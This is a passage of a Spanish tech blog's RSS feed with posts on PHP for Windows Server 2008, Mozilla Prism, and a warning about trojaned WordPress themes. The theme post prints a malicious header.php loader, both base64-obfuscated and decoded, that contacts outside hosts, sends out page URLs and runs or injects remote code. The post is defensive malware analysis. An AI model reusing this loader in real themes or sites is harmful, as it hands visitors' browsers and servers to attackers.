<p>No hay que olvidar reiniciar el apache, para que los cambios en el php.ini tengan efecto. Espero que toda esta informaci&oacute;n les haya sido de utilidad y los ayude a proteger sus servidores web.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://volkanrivera.com/esp/2008/05/php-suhosin-excelente-patch-de-seguridad-para-servidores-compartidos/feed/</wfw:commentRss>
			<slash:comments>2</slash:comments>
		
		
			</item>
		<item>
		<title>PHP estará optimisado para Windows Server 2008</title>
		<link>https://volkanrivera.com/esp/2008/03/php-estara-optimisado-para-windows-server-2008/</link>
					<comments>https://volkanrivera.com/esp/2008/03/php-estara-optimisado-para-windows-server-2008/#respond</comments>
		
		<dc:creator><![CDATA[volkan68]]></dc:creator>
		<pubDate>Wed, 05 Mar 2008 01:48:29 +0000</pubDate>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[OpenSource]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[Windows]]></category>
		<guid isPermaLink="false">http://www.volkanrivera.com/esp/?p=275</guid>

					<description><![CDATA[&#191;Desea realizar una galer&#237;a de fotos Coppermine en un equipo con Windows Server 2008? En el pasado, &#233;sto significaba que la popular aplicaci&#243;n PHP para galer&#237;as de fotos tendr&#237;a m&#225;s perfomance en un servidor Linux o Unix, para el cu&#225;l el PHP ha sido optimizado. En el portal de noticias de tecnolog&#237;as de la informaci&#243;n [&#8230;]]]></description>
										<content:encoded><![CDATA[<div id="result_box" dir="ltr">&iquest;Desea realizar una galer&iacute;a de fotos Coppermine en un equipo con Windows Server 2008? En el pasado, &eacute;sto significaba que la popular aplicaci&oacute;n PHP para galer&iacute;as de fotos tendr&iacute;a m&aacute;s perfomance en un servidor Linux o Unix, para el cu&aacute;l el PHP ha sido optimizado.</p>
<p>En el portal de noticias de tecnolog&iacute;as de la informaci&oacute;n de Australia <a href="http://www.itnews.com.au/News/71347,php-optimised-for-windows-server-2008.aspx">ITNews</a>, informa sobre el esfuerzo que esta haciendo la comunidad de PHP para optimizarlo para la futura versi&oacute;n de Windows Server 2008.</p>
<p>Los especialistas en lenguaje PHP de Zend Technologies, estan trabajando intensamente para que PHP pueda trabajar en Windows tan bien c&oacute;mo en Linux/Unix. El Zend Core que apoya comercialmente a PHP ha sido certificado por Microsoft para correr &quot;con el rendimiento y la estabilidad&quot; en Windows Server 2008, dijo Andi Gutmans, co-fundador y CTO de Zend. Esto significa que ha pasado m&aacute;s de 100 pruebas de compatibilidad, adem&aacute;s de colaborar estrechamente en ciertas tecnolog&iacute;as de Microsoft. </p>
<p>Por ejemplo, el componente Zend FastCGI trabajo bien con el servidor web de Microsoft IIS (Internet Information Server), para hacer que FastCGI cree y gestione de manera eficiente las aplicaciones PHP. El servidor web IIS est&aacute; ahora integrado en Windows 2008, y la implementaci&oacute;n del PHP a trav&eacute;s del FastCGI ha trabajado sin problemas, dijo Gutmans, en una entrevista. </p>
<p>El acelerador Zend para PHP es ahora compatible con CardSpace, el sistema de gesti&oacute;n de la identidad de Microsoft, por lo que las apliaciones PHP de los usuarios pueden obtener servicios en l&iacute;nea despu&eacute;s de ser autenticado y acreditado con el adecuado nivel de privilegio. La certificaci&oacute;n para Windows 2008, significa que los servidores tanto Linux como Windows podr&iacute;an correr apliaciones de manejo de contenido c&oacute;mo Joomla, Mambo o WordPress, sin ninguna p&eacute;rdida de perfomance.
</div>
]]></content:encoded>
					
					<wfw:commentRss>https://volkanrivera.com/esp/2008/03/php-estara-optimisado-para-windows-server-2008/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Aplicaciones web en el escritorio</title>
		<link>https://volkanrivera.com/esp/2008/02/aplicaciones-web-en-el-escritorio/</link>
					<comments>https://volkanrivera.com/esp/2008/02/aplicaciones-web-en-el-escritorio/#respond</comments>
		
		<dc:creator><![CDATA[volkan68]]></dc:creator>
		<pubDate>Wed, 27 Feb 2008 18:44:42 +0000</pubDate>
				<category><![CDATA[Internet]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[OpenSource]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[Windows]]></category>
		<guid isPermaLink="false">http://www.volkanrivera.com/esp/?p=247</guid>

					<description><![CDATA[C&#243;mo tener una aplicaci&#243;n web en el escritorio?, la respuesta es Prism. Prism es un proyecto parte de Mozilla que permite crear &#237;conos en el escritorio y en el menu de incio en los principales OS de hoy: Windows, Mac OS X y Linux. De esa forma un usuario puede pensar que se trata de [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>C&oacute;mo tener una aplicaci&oacute;n web en el escritorio?, la respuesta es <a href="http://labs.mozilla.com/featured-projects/#prism">Prism</a>. Prism es un proyecto parte de Mozilla que permite crear &iacute;conos en el escritorio y en el menu de incio en los principales OS de hoy: Windows, Mac OS X y Linux. De esa forma un usuario puede pensar que se trata de una aplicaci&oacute;n local.</p>
<p>Aunque a&uacute;n esta en versi&oacute;n beta, es completamente funcional y puede ser una alternativa para aquellos que quieren hacer pasar sus aplicaciones web, como una aplicaci&oacute;n local en la PC.</p>
<p>Cuando se ejecuta Prism, se obtiene una ventana en donde debemos asignarle un nombre a nuestra apliaci&oacute;n, indicar el URL desde donde debe de invocarse e indicar si deseamos crear &iacute;conos para la misma en el escritorio, y en la versi&oacute;n Windows en el menu de Inicio tambien. Aqu&iacute; un snapshot de qu&eacute; se obtiene al ejecutar Prism:</p>
<p><img decoding="async" border="0" alt="Prism" src="/esp/wp-content/uploads/2008/02/prism.png" /></p>
<p>Yo lo he usado para crear shortcuts a AdSense y Gmail y funciona perfecto, espero que tambien les sirva a Uds., especialmente si tienen pensado vender algun producto en la modalidad SAAS (Software As A Service), este utilitario es genial para ocultar el browser al cliente. <img decoding="async" alt="" src="/esp/wp-content/plugins/deans_fckeditor/fckeditor/editor/images/smiley/msn/wink_smile.gif" /></p>
]]></content:encoded>
					
					<wfw:commentRss>https://volkanrivera.com/esp/2008/02/aplicaciones-web-en-el-escritorio/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Troyanos en themes de WordPress</title>
		<link>https://volkanrivera.com/esp/2007/12/troyanos-en-themes-de-wordpress/</link>
					<comments>https://volkanrivera.com/esp/2007/12/troyanos-en-themes-de-wordpress/#respond</comments>
		
		<dc:creator><![CDATA[volkan68]]></dc:creator>
		<pubDate>Wed, 12 Dec 2007 13:35:19 +0000</pubDate>
				<category><![CDATA[Internet]]></category>
		<category><![CDATA[PHP]]></category>
		<guid isPermaLink="false">http://www.volkanrivera.com/esp/?p=69</guid>

					<description><![CDATA[Se ha reportado en varios websites relacionados a seguridad, que han aparecido themes de WordPress con c&#243;digo malicioso en ellos, por lo general estos themes se distribuyen de forma gratuita en websites que ofrecen servicios de descargas de themes. Uno de estos lugares es wpsphere.com, que distribuye themes de terceros, alguno de los cuales contienen [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Se ha reportado en varios websites relacionados a seguridad, que han aparecido themes de WordPress con c&oacute;digo malicioso en ellos, por lo general estos themes se distribuyen de forma gratuita en websites que ofrecen servicios de descargas de themes. Uno de estos lugares es <a href="http://www.wpsphere.com/">wpsphere.com</a>, que distribuye themes de terceros, alguno de los cuales contienen c&oacute;digo malicioso que permiten a un atacante externo inyectar c&oacute;digo javascript en los blogs que usen esos themes.</p>
<p>El primero en dar la voz de alarma fue Paul Carroll en su <a href="http://codescout.org/2007/11/17/audit-those-3rd-party-themes-and-plugins-before-enabling-them/">blog</a>. El encontro el siguiente c&oacute;digo malicioso dentro del archivo header.php&nbsp; un theme de wpsphere.com:</p>
<p><font size="2" face="Courier New"><code> @eval(@base64_decode('aWYoJFIzN0MwMTREQUU1RkU0RkU1Qzc3QjY3MzVBQkMzMD<br />
kxNiA9IEBmc29 ja29wZW4oInd3dy53cHNzci5jb20iLCA4MCwgJFIzMkQwMDA3MEQ0R<br />
kZCQ0NFMkZDNjY5QkJBODEyRDRDMiwgJFI1RjUyNUY1QjM5OERBREQ3Q0YwNzg0QkQ0M<br />
DYyOThFMywgMykpICRSNTBGNUY5QzgwRjEyRkZBRThCMjQwMDUyOEU4MUIzNEUgPSAid<br />
3Bzc3IiOyBlbHNlaWYoJFIzN0MwMTREQUU1RkU0RkU1Qzc3QjY3MzVBQkMzMDkxNiA9I<br />
EBmc29ja29wZW4oInd3dy53cHNuYy5jb20iLCA4MCwgJFIzMkQwMDA3MEQ0RkZCQ0NFM<br />
kZDNjY5QkJBODEyRDRDMiwgJFI1RjUyNUY1QjM5OERBREQ3Q0YwNzg0QkQ0MDYyOThFM<br />
ywgMykpICRSNTBGNUY5QzgwRjEyRkZBRThCMjQwMDUyOEU4MUIzNEUgPSAid3BzbmMiO<br />
yBlbHNlICRSNTBGNUY5QzgwRjEyRkZBRThCMjQwMDUyOEU4MUIzNEUgPSAid3BzbmMyI<br />
jsgQGV2YWwoJyRSMTRBRjFCRTlFRTI2QTkwOTIxRTY0QTgyRTc4MzY3OTcgPSAxOycpO<br />
yBpZigkUjE0QUYxQkU5RUUyNkE5MDkyMUU2NEE4MkU3ODM2Nzk3IEFORCBpbmlfZ2V0K<br />
CdhbGxvd191cmxfZm9wZW4nKSkgeyAgJFJEM0ZFOUMxMEE4MDhBNTRFQTJBM0RCRDlFN<br />
jA1QjY5NiA9ICIxIjsgICRSNkU0RjE0QjMzNTI0M0JFNjU2QzY1RTNFRDlFMUIxMTUgP<br />
SAiaHR0cDovL3d3dy4kUjUwRjVGOUM4MEYxMkZGQUU4QjI0MDA1MjhFODFCMzRFLmNvb<br />
S93JFJEM0ZFOUMxMEE4MDhBNTRFQTJBM0RCRDlFNjA1QjY5Ni5waHA/dXJsPSIuIHVyb<br />
GVuY29kZSgkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSkgLiImIi4gImhvc3Q9Ii4gdXJsZ<br />
W5jb2RlKCRfU0VSVkVSWydIVFRQX0hPU1QnXSk7ICAkUjNFMzNFMDE3Q0Q3NkI5QjdFN<br />
kM3MzY0RkI5MUUyRTkwID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRSNkU0RjE0QjMzNTI0M<br />
0JFNjU2QzY1RTNFRDlFMUIxMTUpOyAgQGV2YWwoJFIzRTMzRTAxN0NENzZCOUI3RTZDN<br />
zM2NEZCOTFFMkU5MCk7IH0gZWxzZSB7ICAkUkQzRkU5QzEwQTgwOEE1NEVBMkEzREJEO<br />
UU2MDVCNjk2ID0gIjAiOyAgJFI2RTRGMTRCMzM1MjQzQkU2NTZDNjVFM0VEOUUxQjExN<br />
SA9ICJodHRwOi8vd3d3LiRSNTBGNUY5QzgwRjEyRkZBRThCMjQwMDUyOEU4MUIzNEUuY<br />
29tL3ckUkQzRkU5QzEwQTgwOEE1NEVBMkEzREJEOUU2MDVCNjk2LnBocD91cmw9Ii4gd<br />
XJsZW5jb2RlKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddKSAuIiYiLiAiaG9zdD0iLiB1c<br />
mxlbmNvZGUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKTsgIEByZWFkZmlsZSgkUjZFNEYxN<br />
EIzMzUyNDNCRTY1NkM2NUUzRUQ5RTFCMTE1KTsgfSBmY2xvc2UoJFIzN0MwMTREQUU1R<br />
kU0RkU1Qzc3QjY3MzVBQkMzMDkxNik7'));</code></font><font size="1"><br />
</font> <br />
<font size="2" face="Arial">&Eacute;ste c&oacute;digo no es m&aacute;s que un script que inyecta c&oacute;digo javascript en la cabecera de la p&aacute;gina web, desde los websites </font>www.wpssr.com y www.wpsnc.com, c&oacute;mo se puede determinar eso, pues simplemente haciendo la decodificaci&oacute;n MIME del c&oacute;digo anterior, con lo que obtenemos &eacute;ste c&oacute;digo:</p>
<p><code> <font size="2" face="Courier New">if($R37C014DAE5FE4FE5C77B6735ABC30916 = @fsockopen(&quot;www.wpssr.com&quot;<br />
, 80,  $R32D00070D4FFBCCE2FC669BBA812D4C2, <br />
$R5F525F5B398DADD7CF0784BD406298E3, 3)) {<br />
$R50F5F9C80F12FFAE8B2400528E81B34E = &quot;wpssr&quot;;<br />
}<br />
elseif($R37C014DAE5FE4FE5C77B6735ABC30916 = @fsockopen(&quot;www.wpsnc.com&quot;<br />
, 80,  $R32D00070D4FFBCCE2FC669BBA812D4C2, <br />
$R5F525F5B398DADD7CF0784BD406298E3, 3)) {<br />
$R50F5F9C80F12FFAE8B2400528E81B34E = &quot;wpsnc&quot;;<br />
}<br />
else {<br />
$R50F5F9C80F12FFAE8B2400528E81B34E = &quot;wpsnc2&quot;;<br />
}<br />
@eval($R14AF1BE9EE26A90921E64A82E7836797 = 1);<br />
if($R14AF1BE9EE26A90921E64A82E7836797 AND <br />
ini_get('allow_url_fopen')) {<br />
@eval($RD3FE9C10A808A54EA2A3DBD9E605B696 = &quot;1&quot;);<br />
$R6E4F14B335243BE656C65E3ED9E1B115 = <br />
&quot;http://www.$R50F5F9C80F12FFAE8B2400528E81B34E.com<br />
/w$RD3FE9C10A808A54EA2A3DBD9E605B696.php?url=&quot;. <br />
urlencode($_SERVER['REQUEST_URI']) .&quot;&amp;&quot;. &quot;host=&quot;. <br />
urlencode($_SERVER['HTTP_HOST']);<br />
$R3E33E017CD76B9B7E6C7364FB91E2E90 = <br />
@file_get_contents($R6E4F14B335243BE656C65E3ED9E1B115);<br />
}<br />
else<br />
{<br />
@eval($RD3FE9C10A808A54EA2A3DBD9E605B696 = &quot;0&quot;);<br />
$R6E4F14B335243BE656C65E3ED9E1B115 = <br />
&quot;http://www.$R50F5F9C80F12FFAE8B2400528E81B34E.com<br />
/w$RD3FE9C10A808A54EA2A3DBD9E605B696.php?url=&quot;. <br />
urlencode($_SERVER['REQUEST_URI']) .&quot;&amp;&quot;. <br />
&quot;host=&quot;. urlencode($_SERVER['HTTP_HOST']);<br />
readfile($R6E4F14B335243BE656C65E3ED9E1B115);<br />
}<br />
fclose($R37C014DAE5FE4FE5C77B6735ABC30916);</font><br />
</code><br />
El truco usado es usar la funci&oacute;n &quot;<a href="http://us2.php.net/manual/es/function.eval.php">eval</a>&quot; de PHP para ejecutar c&oacute;digo PHP dentro de un array, y un array codificado en <a href="http://us2.php.net/manual/es/function.base64-decode.php">MIME</a> para ocultar el c&oacute;digo maligno.</p>
<p>Es por ello que se recomienda, no bajar desde sitios web de terceros themes o plugins, sino usar el website del autor directamente, o en su defecto auditar el c&oacute;digo antes de usarlo en nuestro blog o <a href="http://es.wikipedia.org/wiki/CMS">CMS</a>, ya que incluso esta forma de ataque es reproducible en CMS c&oacute;mo <a href="http://es.wikipedia.org/wiki/Joomla">Joomla</a>, <a href="http://es.wikipedia.org/wiki/Mambo_Open_Source">Mambo</a> o <a href="http://es.wikipedia.org/wiki/Drupal">Drupal</a>. Finalmente, mejor que descargar un theme de otro es hacerlo uno mismo, de esta forma se tiene total control del c&oacute;digo.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://volkanrivera.com/esp/2007/12/troyanos-en-themes-de-wordpress/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>
